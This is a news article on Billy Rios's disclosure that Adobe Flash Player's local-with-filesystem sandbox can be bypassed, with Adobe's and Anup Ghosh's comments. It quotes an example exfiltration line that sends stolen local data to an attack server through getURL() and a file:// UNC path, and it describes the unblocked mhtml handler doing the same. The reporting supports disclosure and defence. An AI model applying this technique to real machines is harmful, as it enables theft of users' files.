A
security researcher has poked a hole in the sandbox implemented by Adobe
Systems to prevent malicious Flash files from compromising computers.
According
to application security researcher Billy Rios, there is a way
to bypass the
local-with-filesystem sandbox utilized in Adobe Flash Player.
"SWFs
loaded from the local file system do face some restrictions. … Unfortunately,
these restrictions are not the same as 'cannot communicate with the network in
any way' which is what is stated in the documentation," Rios blogged. "The
simplest way to bypass the local-with-filesystem sandbox is to simply use a file:// request to a remote server.
For example, after loading the content from the local file system an
attacker can simply pass the contents to the attack server via getURL() and a
URL like: file://\\192.168.1.1\stolen-data-here\."
In
its documentation, Adobe states that for security purposes, Flash Player by
default puts all local SWF files and assets in the local-with-file-system
sandbox. From there, the SWF files are supposed to be able to read local files
but are not supposed to be able to communicate at all with the network.
"In
the case of the local-with-filesystem sandbox, Adobe has decided to prevent
network access through the use of protocol handler blacklists," Rios
added. "If we can find a protocol handler that hasn't been blacklisted by
Adobe and allows for network communication, we win."
According
to Adobe, the sandboxing technology has been available since Flash 8 on all
platforms. A company spokesperson said the issue has been classified as
"moderate."
"An
attacker would first need to gain access to the user's system to place a
malicious SWF file in a directory on the local machine before being able to
trick the user into launching an application that can run the SWF file
natively," the spokesperson said. "In the majority of use scenarios,
the malicious SWF file could not simply be launched by double-clicking on it;
the user would have to manually open the file from within the application
itself."
Anup
Ghosh, founder and chief scientist at Invincea, called Rios' disclosure
a "proof of concept that Adobe's sandbox for Flash doesn't really
work as advertised."
"The
Adobe Sandbox for Flash Player attempts to prevent local Flash files from
reading and sending data from the local host to a remote server," he said.
"For instance, a Flash file you load from your desktop should not be able to
make an http or https request, since it has access to other files on the
desktop and could leak the content of those files if it were allowed."
The
researcher's analysis of the sandbox determined that Adobe implemented
this requirement in an untenable way—it blacklisted certain communication
protocols from running in the Adobe Flash sandbox, Ghosh explained.
"Rios
simply had to find one of many communication protocols that were not
blacklisted, and he succeeded using mhtml to pass an http or https request
to a remote server with the contents of local data," he said. "For an
attacker, the actual exploit itself is trivial. They simply need to call mhtml
from within a Flash file the user downloads. Is it hard to get a user to
download and run a Flash file? It wasn't hard for attackers to get users to
open infected .pdf files."
According
to Adobe, the bug will be addressed in a future version of Adobe Flash Player,
though an exact timeline has not yet been determined.